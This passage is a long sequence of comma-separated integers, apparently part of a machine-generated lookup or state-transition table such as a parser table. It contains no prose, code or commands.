92,2158592,2158592,2158592,0,40976,0,18,18,24,24,4329472,27,27,2207744,2207744,2977792,2207744,2207744,2207744,2207744,3039232,2207744,2207744,2207744,2207744,2207744,2207744,3158016,542,0,0,0,542,0,544,0,0,0,544,0,550,0,0,0,0,0,97,97,1610,97,97,97,97,97,97,97,97,898,97,97,97,97,97,97,97,0,94242,0,0,0,2211840,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,2158592,2158592,2158592,40976,18,36884,45078,24,27,90143,94242,237568,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,192512,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,94,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,96,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,12378,40976,18,18,36884,0,45078,0,24,24,24,126,126,126,126,90143,0,0,2170880,0,0,0,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,20480,40976,0,18,18,24,24,27,27,27,40976,18,36884,45078,24,27,90143,94242,241664,102439,106538,98347,0,0,20568,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,200797,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,0,0,44,0,0,20575,40976,18,36884,45078,24,27,90143,94242,0,41,41,41,0,0,1126400,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,0,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,89,40976,18,18,36884,0,45078,0,24,24,24,27,131201,27,27,90143,0,0,2170880,0,0,550,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2441216,2445312,2158592,2158592,2158592,2158592,2158592,0,94242,0,0,208896,2211840,102439,0,0,106538,98347,0,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,0,0,0,0,0,0,0,2367488,32768,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2433024,2158592,2453504,2461696,2158592,2158592,2158592,2158592,2158592,2158592,2510848,2158592,2158592,2158592,2158592,40976,18,36884,245783,24,27,90143,94242,0,102439,106538,98347,0,0,20480,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,221184,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,180224,40976,18,18,36884,155648,45078,0,24,24,217088,27,27,27,217088,90143,0,0,2170880,0,0,828,0,2158592,2158592,2158592,2387968,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2207744,2387968,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,233472,0,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,45,718,45,45,45,45,45,45,45,45,45,727,131427,0,0,0,0,362,0,365,28809,367,139,45,45,45,45,45,45,1808,45,45,45,45,67,67,67,67,67,67,67,97,97,0,0,97,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,97,0,0,97,97,97,97,97,97,1787,0,97,97,0,97,97,97,45,45,45,45,2029,45,67,67,67,67,2033,57889,0,0,54074,54074,550,0,97,97,97,97,97,97,97,97,97,45,1798,45,45,1800,45,45,0,1472,0,0,0,0,0,1474,0,0,0,0,0,1476,0,0,0,0,1315,0,0,0,0,97,97,97,97,1320,97,97,0,0,97,97,97,97,1786,97,0,0,97,97,0,1790,1527,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,663,67,24850,24850,12564,12564,0,57889,281,0,0,53531,53531,367,286,97,97,0,0,97,97,97,1785,97,97,0,0,97,97,0,97,97,1979,97,97,45,45,1983,45,1984,45,45,45,45,45,652,45,45,45,45,45,45,45,45,45,45,690,45,45,694,45,45,40976,19,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,262144,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,46,67,98,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,45,67,97,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,258048,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,1122423,40976,18,36884,45078,24,27,90143,94242,0,1114152,1114152,1114152,0,0,1114112,40976,18,36884,45078,24,27,90143,94242,37,102439,106538,98347,0,0,204800,40976,18,36884,45078,24,27,90143,94242,0,102439,106538,98347,0,0,57436,40976,18,36884,45078,24,27,33,33,0,33,33,33,0,0,0,40976,18,18,36884,0,45078,0,124,124,124,127,127,127,127,90143,0,0,2170880,0,0,550,0,2158877,2158877,2158877,2388253,2158877,2158877,2158877,2158877,2158877,2781469,2793757,2158877,2818333,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2867485,2158877,2904349,2158877,2158877,2158877,2158877,2158877,2158877,2158877,3096861,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2158877,2441501,2445597,2158877,2158877,2158877,2158877,2158877,40976,122,123,36884,0,45078,0,24,24,24,27,27,27,27,90143,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,45,936,2158592,4243810,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,935,45,45,45,715,45,45,45,45,45,45,45,723,45,45,45,45,45,1182,45,45,45,45,45,45,45,45,45,45,430,45,45,45,45,45,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,47,68,99,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,48,69,100,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,49,70,101,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,50,71,102,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,51,72,103,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,52,73,104,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,53,74,105,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,54,75,106,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,55,76,107,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,56,77,108,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,57,78,109,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,58,79,110,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,59,80,111,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,60,81,112,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,61,82,113,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,62,83,114,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,63,84,115,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,64,85,116,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,65,86,117,40976,18,36884,45078,24,27,90143,94242,38,102439,106538,98347,66,87,118,40976,18,36884,45078,24,27,90143,94242,118820,102439,106538,98347,118820,118820,118820,40976,18,18,0,0,45078,0,24,24,24,27,27,27,27,90143,0,0,1314,0,0,0,0,0,0,97,97,97,97,97,1321,97,18,131427,0,0,0,0,0,0,362,0,0,365,0,367,0,0,1315,0,97,97,97,97,97,97,97,97,97,97,97,97,97,1360,97,97,131,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,145,149,45,45,45,45,45,174,45,179,45,185,45,188,45,45,202,67,255,67,67,269,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,292,296,97,97,97,97,97,321,97,326,97,332,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,646,335,97,97,349,97,97,0,40976,0,18,18,24,24,27,27,27,437,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,523,67,67,67,67,67,67,67,67,67,67,67,67,511,67,67,67,97,97,97,620,97,97,97,97,97,97,97,97,97,97,97,97,97,1501,1502,97,793,67,67,796,67,67,67,67,67,67,67,67,67,67,808,67,0,0,97,97,97,97,45,45,67,67,0,0,97,97,2052,67,67,67,67,813,67,67,67,67,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,830,97,97,97,97,97,97,97,97,97,315,97,97,97,97,97,97,841,97,97,97,97,97,97,97,97,97,854,97,97,97,97,97,97,589,97,97,97,97,97,97,97,97,97,867,97,97,97,97,97,97,97,891,97,97,894,97,97,97,97,97,97,97,97,97,97,906,45,937,45,45,940,45,45,45,45,45,45,948,45,45,45,45,45,734,735,67,737,67,738,67,740,67,67,67,45,967,45,45,45,45,45,45,45,45,45,45,45,45,45,45,435,45,45,45,980,45,45,45,45,45,45,45,45,45,45,45,45,45,415,45,45,67,67,1024,67,67,67,67,67,67,67,67,67,67,67,67,67,97,97,97,67,67,67,67,67,25398,1081,13112,1085,54074,1089,0,0,0,0,0,0,363,0,28809,0,139,45,45,45,45,45,45,1674,45,45,45,45,45,45,45,45,67,1913,67,1914,67,67,67,1918,67,67,97,97,97,97,1118,97,97,97,97,97,97,97,97,97,97,97,630,97,97,97,97,97,1169,97,97,97,97,97,0,921,0,1175,0,0,0,0,45,45,45,45,45,45,1534,45,45,45,45,45,1538,45,45,45,45,1233,45,45,45,45,45,45,67,67,67,67,67,67,67,67,742,67,45,45,1191,45,45,45,45,45,45,45,45,45,45,45,45,45,454,67,67,67,67,1243,67,67,67,67,67,67,67,67,67,67,67,1251,67,0,0,97,97,97,97,45,45,67,67,2050,0,97,97,45,45,45,732,45,45,67,67,67,67,67,67,67,67,67,67,67,67,97,97,67,67,67,1284,67,67,67,67,67,67,67,67,67,67,67,67,772,67,67,67,1293,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,368,2158592,2158592,2158592,2404352,2412544,1323,97,97,97,97,97,97,97,97,97,97,97,1331,97,97,97,0,97,97,97,97,97,97,97,97,97,97,97,1737,97,1364,97,97,97,97,97,97,97,97,97,97,97,97,1373,97,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,647,45,45,1387,45,45,1391,45,45,45,45,45,45,45,45,45,45,410,45,45,45,45,45,1400,45,45,45,45,45,45,45,45,45,45,1407,45,45,45,45,45,941,45,943,45,45,45,45,45,45,951,45,67,1438,67,67,67,67,67,67,67,67,67,67,1447,67,67,67,67,67,67,782,67,67,67,67,67,67,67,67,67,756,67,67,67,67,67,67,97,1491,97,97,97,97,97,97,97,97,97,97,1500,97,97,97,0,97,97,97,97,97,97,97,97,97,97,1736,97,45,45,1541,45,45,45,45,45,45,45,45,45,45,45,45,45,677,45,45,67,1581,67,67,67,67,67,67,67,67,67,67,67,67,67,67,791,792,67,67,67,67,1598,67,1600,67,67,67,67,67,67,67,67,1472,97,97,97,1727,97,97,97,97,97,97,97,97,97,97,97,97,97,1513,97,97,67,67,97,1879,97,1881,97,0,1884,0,97,97,97,97,0,0,97,97,97,97,97,0,0,0,1842,97,97,67,67,67,67,67,97,97,97,97,1928,0,0,0,97,97,97,97,97,97,45,45,45,45,45,1903,45,45,45,67,67,67,67,97,97,97,97,1971,0,0,97,97,97,97,0,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,1381,45,45,45,45,1976,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,45,1747,809,67,67,67,67,67,67,67,67,67,67,67,25398,542,13112,544,97,907,97,97,97,97,97,97,97,97,97,97,97,638,0,0,0,0,1478,97,97,97,97,97,97,97,97,97,97,97,1150,97,97,97,97,67,67,67,67,1244,67,67,67,67,67,67,67,67,67,67,67,477,67,67,67,67,67,67,1294,67,67,67,67,0,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1324,97,97,97,97,97,97,97,97,97,97,97,97,97,0,0,0,1374,97,97,97,97,0,1175,0,45,45,45,45,45,45,45,45,945,45,45,45,45,45,45,45,45,1908,45,45,1910,45,67,67,67,67,67,67,67,67,1919,67,0,0,97,97,97,97,45,2048,67,2049,0,0,97,2051,45,45,45,939,45,45,45,45,45,45,45,45,45,45,45,45,397,45,45,45,1921,67,67,1923,67,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1947,45,1935,0,0,0,97,1939,97,97,1941,97,45,45,45,45,45,45,382,389,45,45,45,45,45,45,45,45,1810,45,45,1812,67,67,67,67,67,256,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,336,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,0,362,0,365,28809,367,139,45,45,371,373,45,45,45,955,45,45,45,45,45,45,45,45,45,45,45,45,413,45,45,45,457,459,67,67,67,67,67,67,67,67,473,67,478,67,67,482,67,67,485,67,67,67,67,67,67,67,67,67,67,67,67,67,97,1828,97,554,556,97,97,97,97,97,97,97,97,570,97,575,97,97,579,97,97,582,97,97,97,97,97,97,97,97,97,97,97,97,97,330,97,97,67,746,67,67,67,67,67,67,67,67,67,758,67,67,67,67,67,67,67,1575,67,67,67,67,67,67,67,67,493,67,67,67,67,67,67,67,97,97,844,97,97,97,97,97,97,97,97,97,856,97,97,97,0,97,97,97,97,97,97,97,97,1735,97,97,97,0,97,97,97,97,97,97,97,1642,97,1644,97,97,890,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,67,67,67,67,1065,1066,67,67,67,67,67,67,67,67,67,67,532,67,67,67,67,67,67,67,1451,67,67,67,67,67,67,67,67,67,67,67,67,67,496,67,67,97,97,1505,97,97,97,97,97,97,97,97,97,97,97,97,97,593,97,97,0,1474,0,1476,0,97,97,97,97,97,97,97,97,97,97,1617,97,97,1635,0,1637,97,97,97,97,97,97,97,97,97,97,97,885,97,97,97,97,67,67,1704,67,67,67,67,97,97,97,97,97,97,97,97,97,565,572,97,97,97,97,97,97,97,97,1832,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,1946,45,45,67,67,67,67,67,97,1926,97,1927,97,0,0,0,97,97,1934,2043,0,0,97,97,97,2047,45,45,67,67,0,1832,97,97,45,45,45,981,45,45,45,45,45,45,45,45,45,45,45,45,1227,45,45,45,131427,0,0,0,0,362,0,365,28809,367,139,45,45,372,45,45,45,45,1661,1662,45,45,45,45,45,1666,45,45,45,45,45,1673,45,1675,45,45,45,45,45,45,45,67,1426,67,67,67,67,67,67,67,67,67,67,1275,67,67,67,67,67,45,418,45,45,420,45,45,423,45,45,45,45,45,45,45,45,959,45,45,962,45,45,45,45,458,67,67,67,67,67,67,67,67,67,67,67,67,67,67,483,67,67,67,67,504,67,67,506,67,67,509,67,67,67,67,67,67,67,528,67,67,67,67,67,67,67,67,1287,67,67,67,67,67,67,67,555,97,97,97,97,97,97,97,97,97,97,97,97,97,97,580,97,97,97,97,601,97,97,603,97,97,606,97,97,97,97,97,97,848,97,97,97,97,97,97,97,97,97,1498,97,97,97,97,97,97,45,45,714,45,45,45,45,45,45,45,45,45,45,45,45,45,989,990,45,67,67,67,67,67,1011,67,67,67,67,1015,67,67,67,67,67,67,67,753,67,67,67,67,67,67,67,67,467,67,67,67,67,67,67,67,45,45,1179,45,45,45,45,45,45,45,45,45,45,45,45,45,1003,1004,67,1217,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,728,67,1461,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1034,67,97,1516,97,97,97,97,97,97,97,97,97,97,97,97,97,97,871,97,67,67,67,1705,67,67,67,97,97,97,97,97,97,97,97,97,567,97,97,97,97,97,97,97,97,97,97,1715,97,97,97,97,97,97,97,97,97,0,0,0,45,45,1380,45,45,45,45,45,67,67,97,97,97,97,97,0,0,0,97,1887,97,97,0,0,97,97,97,0,97,97,97,97,97,2006,45,45,1907,45,45,45,45,45,67,67,67,67,67,67,67,67,67,1920,67,97,0,2035,97,97,97,97,97,45,45,45,45,67,67,67,1428,67,67,67,67,67,67,1435,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,146,45,152,45,45,165,45,175,45,180,45,45,187,190,195,45,203,254,257,262,67,270,67,67,0,24850,12564,0,0,0,281,28809,53531,97,97,97,293,97,299,97,97,312,97,322,97,327,97,97,334,337,342,97,350,97,97,0,40976,0,18,18,24,24,27,27,27,67,484,67,67,67,67,67,67,67,67,67,67,67,67,67,499,97,581,97,97,97,97,97,97,97,97,97,97,97,97,97,596,648,45,650,45,651,45,653,45,45,45,657,45,45,45,45,45,45,1954,67,67,67,1958,67,67,67,67,67,67,67,768,67,67,67,67,67,67,67,67,769,67,67,67,67,67,67,67,680,45,45,45,45,45,45,45,45,688,689,691,45,45,45,45,45,983,45,45,45,45,45,45,45,45,45,45,947,45,45,45,45,952,45,45,698,699,45,45,702,703,45,45,45,45,45,45,45,711,744,67,67,67,67,67,67,67,67,67,757,67,67,67,67,761,67,67,67,67,765,67,767,67,67,67,67,67,67,67,67,775,776,778,67,67,67,67,67,67,785,786,67,67,789,790,67,67,67,67,67,67,1442,67,67,67,67,67,67,67,67,67,97,97,97,1775,97,97,97,67,67,67,67,67,798,67,67,67,802,67,67,67,67,67,67,67,67,1465,67,67,1468,67,67,1471,67,67,810,67,67,67,67,67,67,67,67,67,821,25398,542,13112,544,57889,0,0,54074,54074,550,0,833,97,835,97,836,97,838,97,97,0,0,97,97,97,2002,97,97,97,97,97,45,45,45,45,45,1740,45,45,45,1744,45,45,45,97,842,97,97,97,97,97,97,97,97,97,855,97,97,97,97,0,1717,1718,97,97,97,97,97,1722,97,0,0,859,97,97,97,97,863,97,865,97,97,97,97,97,97,97,97,604,97,97,97,97,97,97,97,873,874,876,97,97,97,97,97,97,883,884,97,97,887,888,97,18,131427,0,0,0,0,0,0,362,225280,0,365,0,367,0,45,45,45,1531,45,45,45,45,45,45,45,45,45,45,45,1199,45,45,45,45,45,97,97,908,97,97,97,97,97,97,97,97,97,919,638,0,0,0,0,2158877,2158877,2158877,2158877,2158877,2425117,2158877,2158877,2158877,2158877,2158877,2158877,2597149,2158877,2158877,2158877,2158877,2158877,2158877,2642205,2158877,2158877,2158877,2158877,2158877,3158301,0,2375818,2379914,2158730,2158730,2420874,2158730,2449546,2158730,2158730,953,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,965,978,45,45,45,45,45,45,985,45,45,45,45,45,45,45,45,971,45,45,45,45,45,45,45,67,67,67,67,67,1027,67,1029,67,67,67,67,67,67,67,67,67,1455,67,67,67,67,67,67,67,1077,1078,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,366,0,139,2158730,2158730,2158730,2404490,2412682,1113,97,97,97,97,97,97,1121,97,1123,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1540,1155,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,615,1168,97,97,1171,1172,97,97,0,921,0,1175,0,0,0,0,45,45,45,45,45,1533,45,45,45,45,45,45,45,45,45,1663,45,45,45,45,45,45,45,45,45,183,45,45,45,45,201,45,45,45,1219,45,45,45,45,45,45,45,1226,45,45,45,45,45,168,45,45,45,45,45,45,45,45,45,45,427,45,45,45,45,45,45,45,1231,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,1242,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1046,67,67,1254,67,1256,67,67,67,67,67,67,67,67,67,67,67,67,806,807,67,67,97,1336,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1111,97,97,97,97,97,1351,97,97,97,1354,97,97,97,1359,97,97,97,0,97,97,97,97,1640,97,97,97,97,97,97,97,897,97,97,97,902,97,97,97,97,97,97,97,97,1366,97,97,97,97,97,97,97,1371,97,97,97,0,97,97,97,1730,97,97,97,97,97,97,97,97,915,97,97,97,97,0,360,0,67,67,67,1440,67,67,67,67,67,67,67,67,67,67,67,67,1017,67,1019,67,67,67,67,67,1453,67,67,67,67,67,67,67,67,67,67,1459,97,97,97,1493,97,97,97,97,97,97,97,97,97,97,97,97,97,1525,97,97,97,97,97,97,1507,97,97,97,97,97,97,97,97,97,97,1514,67,67,67,67,1584,67,67,67,67,67,1590,67,67,67,67,67,67,67,783,67,67,67,788,67,67,67,67,67,67,67,67,67,1599,1601,67,67,67,1604,67,1606,1607,67,1472,0,1474,0,1476,0,97,97,97,97,97,97,1614,97,97,97,97,45,45,1850,45,45,45,45,1855,45,45,45,45,45,1222,45,45,45,45,45,45,45,45,45,1229,97,1618,97,97,97,97,97,97,97,1625,97,97,97,97,97,0,1175,0,45,45,45,45,45,45,45,45,447,45,45,45,45,45,67,67,1633,97,97,0,97,97,97,97,97,97,97,97,1643,1645,97,97,0,0,97,97,1784,97,97,97,0,0,97,97,0,97,1894,1895,97,1897,97,45,45,45,45,45,45,45,45,45,656,45,45,45,45,45,45,97,1648,97,1650,1651,97,0,45,45,45,1654,45,45,45,45,45,169,45,45,45,45,45,45,45,45,45,45,658,45,45,45,45,664,45,45,1659,45,45,45,45,45,45,45,45,45,45,45,45,45,1187,45,45,1669,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,1005,67,67,1681,67,67,67,67,67,67,67,1686,67,67,67,67,67,67,67,784,67,67,67,67,67,67,67,67,1055,67,67,67,67,1060,67,67,97,97,1713,97,0,97,97,97,97,97,97,97,97,97,0,0,0,1378,45,45,45,45,45,45,45,408,45,45,45,45,45,45,45,45,1547,45,1549,45,45,45,45,45,97,97,1780,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,45,45,2027,2028,45,45,67,67,2031,2032,67,45,45,1804,45,45,45,45,45,45,45,45,67,67,67,67,67,67,1917,67,67,67,67,67,67,67,1819,67,67,67,67,67,67,67,67,97,97,97,1708,97,97,97,97,97,45,45,1862,67,67,67,67,67,67,67,67,67,67,67,67,67,497,67,67,67,1877,97,97,97,97,97,0,0,0,97,97,97,97,0,0,97,97,97,97,97,1839,0,0,97,97,97,97,1936,0,0,97,97,97,97,97,97,1943,1944,1945,45,45,45,45,670,45,45,45,45,674,45,45,45,45,678,45,1948,45,1950,45,45,45,45,1955,1956,1957,67,67,67,1960,67,1962,67,67,67,67,1967,1968,1969,97,0,0,0,97,97,1974,97,0,1936,0,97,97,97,97,97,97,45,45,45,45,45,45,45,45,1906,0,1977,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,1746,45,45,45,45,2011,67,67,2013,67,67,67,2017,97,97,0,0,2021,97,8192,97,97,2025,45,45,45,45,45,45,67,67,67,67,67,1916,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,140,45,45,45,1180,45,45,45,45,1184,45,45,45,45,45,45,45,387,45,392,45,45,396,45,45,399,45,45,67,207,67,67,67,67,67,67,236,67,67,67,67,67,67,67,800,67,67,67,67,67,67,67,67,67,1603,67,67,67,67,67,0,97,97,287,97,97,97,97,97,97,316,97,97,97,97,97,97,0,45,45,45,45,45,45,45,1656,1657,45,376,45,45,45,45,45,388,45,45,45,45,45,45,45,45,1406,45,45,45,45,45,45,45,67,67,67,67,462,67,67,67,67,67,474,67,67,67,67,67,67,67,817,67,67,67,67,25398,542,13112,544,97,97,97,97,559,97,97,97,97,97,571,97,97,97,97,97,97,896,97,97,97,900,97,97,97,97,97,97,912,914,97,97,97,97,97,0,0,0,45,45,45,45,45,45,45,45,391,45,45,45,45,45,45,45,45,713,45,45,45,45,45,45,45,45,45,45,45,45,45,45,662,45,1140,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,636,67,67,1283,67,67,67,67,67,67,67,67,67,67,67,67,67,513,67,67,1363,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,889,97,97,97,1714,0,97,97,97,97,97,97,97,97,97,0,0,926,45,45,45,45,45,45,45,45,672,45,45,45,45,45,45,45,45,686,45,45,45,45,45,45,45,45,944,45,45,45,45,45,45,45,45,1676,45,45,45,45,45,45,67,97,97,97,1833,0,97,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1902,45,45,45,45,45,957,45,45,45,45,961,45,963,45,45,45,67,97,2034,0,97,97,97,97,97,2040,45,45,45,2042,67,67,67,67,67,67,1574,67,67,67,67,67,1578,67,67,67,67,67,67,799,67,67,67,804,67,67,67,67,67,67,67,1298,0,0,0,1304,0,0,0,1310,132,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,45,1414,45,45,45,45,45,45,45,45,45,45,428,45,45,45,45,45,57889,0,0,54074,54074,550,831,97,97,97,97,97,97,97,97,97,568,97,97,97,97,578,97,45,45,968,45,45,45,45,45,45,45,45,45,45,45,45,45,1228,45,45,67,67,67,67,67,25398,1082,13112,1086,54074,1090,0,0,0,0,0,0,364,0,0,0,139,2158592,2158592,2158592,2404352,2412544,67,67,67,67,1464,67,67,67,67,67,67,67,67,67,67,67,510,67,67,67,67,97,97,97,97,1519,97,97,97,97,97,97,97,97,97,97,97,918,97,0,0,0,0,1528,45,45,45,45,45,45,45,45,45,45,45,45,45,45,976,45,1554,45,45,45,45,45,45,45,45,1562,45,45,1565,45,45,45,45,683,45,45,45,687,45,45,692,45,45,45,45,45,1953,45,67,67,67,67,67,67,67,67,67,1014,67,67,67,67,67,67,1568,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,0,67,67,67,67,67,1585,67,67,67,67,67,67,67,67,67,1594,97,97,1649,97,97,97,0,45,45,1653,45,45,45,45,45,45,383,45,45,45,45,45,45,45,45,45,986,45,45,45,45,45,45,45,45,1670,45,1672,45,45,45,45,45,45,45,45,45,45,67,736,67,67,67,67,67,741,67,67,67,1680,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1074,67,67,67,1692,67,67,67,67,67,67,67,1697,67,1699,67,67,67,67,67,67,1012,67,67,67,67,67,67,67,67,67,468,475,67,67,67,67,67,67,1769,67,67,67,67,67,67,67,97,97,97,97,97,97,97,624,97,97,97,97,97,97,634,97,97,1792,97,97,97,97,97,97,97,45,45,45,45,45,45,45,958,45,45,45,45,45,45,964,45,150,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,977,204,45,67,67,67,217,67,67,67,67,67,67,67,67,67,67,787,67,67,67,67,67,67,67,67,67,67,271,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,97,351,97,0,40976,0,18,18,24,24,27,27,27,45,45,938,45,45,45,45,45,45,45,45,45,45,45,45,45,1398,45,45,45,153,45,161,45,45,45,45,45,45,45,45,45,45,45,45,660,661,45,45,205,45,67,67,67,67,220,67,228,67,67,67,67,67,67,67,0,0,0,0,0,280,94,0,0,67,67,67,67,67,272,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,97,352,97,0,40976,0,18,18,24,24,27,27,27,45,439,45,45,45,45,45,445,45,45,45,452,45,45,67,67,212,216,67,67,67,67,67,241,67,246,67,252,67,67,486,67,67,67,67,67,67,67,494,67,67,67,67,67,67,67,1245,67,67,67,67,67,67,67,67,1013,67,67,1016,67,67,67,67,67,521,67,67,525,67,67,67,67,67,531,67,67,67,538,67,0,0,2046,97,97,97,45,45,67,67,0,0,97,97,45,45,45,1192,45,45,45,45,45,45,45,45,45,45,45,45,1418,45,45,1421,97,97,583,97,97,97,97,97,97,97,591,97,97,97,97,97,97,913,97,97,97,97,97,97,0,0,0,45,45,45,45,45,45,45,1384,97,618,97,97,622,97,97,97,97,97,628,97,97,97,635,97,18,131427,0,0,0,639,0,132,362,0,0,365,29315,367,0,921,29315,0,0,0,0,45,45,45,45,932,45,45,45,45,45,1544,45,45,45,45,45,1550,45,45,45,45,45,1194,45,1196,45,45,45,45,45,45,45,45,999,45,45,45,45,45,67,67,45,45,667,45,45,45,45,45,45,45,45,45,45,45,45,45,1408,45,45,45,696,45,45,45,701,45,45,45,45,45,45,45,45,710,45,45,45,1220,45,45,45,45,45,45,45,45,45,45,45,45,194,45,45,45,729,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,797,67,67,67,67,67,67,805,67,67,67,67,67,67,67,1587,67,1589,67,67,67,67,67,67,67,67,1763,67,67,67,67,67,67,67,0,0,0,0,0,0,2162968,0,0,67,67,67,67,67,814,816,67,67,67,67,67,25398,542,13112,544,67,67,1008,67,67,67,67,67,67,67,67,67,67,67,1020,67,0,97,45,67,0,97,45,67,0,97,45,67,97,0,0,97,97,97,97,97,45,45,45,45,67,67,67,67,1429,67,1430,67,67,67,67,67,1062,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,518,1076,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,0,0,0,28809,0,139,45,45,45,45,45,97,97,97,97,1102,97,97,97,97,97,97,97,97,97,97,97,1124,97,1126,97,97,1114,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1112,97,97,1156,97,97,97,97,97,97,97,97,97,97,97,97,97,594,97,97,97,97,1170,97,97,97,97,0,921,0,0,0,0,0,0,45,45,45,45,1532,45,45,45,45,1536,45,45,45,45,45,172,45,45,45,45,45,45,45,45,45,45,706,45,45,709,45,45,1177,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1202,45,1204,45,45,45,45,45,45,45,45,45,45,45,45,1215,45,45,45,1232,45,45,45,45,45,45,45,67,1237,67,67,67,67,67,67,1053,1054,67,67,67,67,67,67,1061,67,67,1282,67,67,67,67,67,67,67,67,67,1289,67,67,67,1292,97,97,97,97,1339,97,97,97,97,97,97,1344,97,97,97,97,45,1849,45,1851,45,45,45,45,45,45,45,45,721,45,45,45,45,45,726,45,1385,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1188,45,45,1401,1402,45,45,45,45,1405,45,45,45,45,45,45,45,45,1752,45,45,45,45,45,67,67,1410,45,45,45,1413,45,1415,45,45,45,45,45,45,1419,45,45,45,45,1806,45,45,45,45,45,45,67,67,67,67,67,67,67,97,97,2019,0,97,67,67,67,1452,67,67,67,67,67,67,67,67,1457,67,67,67,67,67,67,1259,67,67,67,67,67,67,1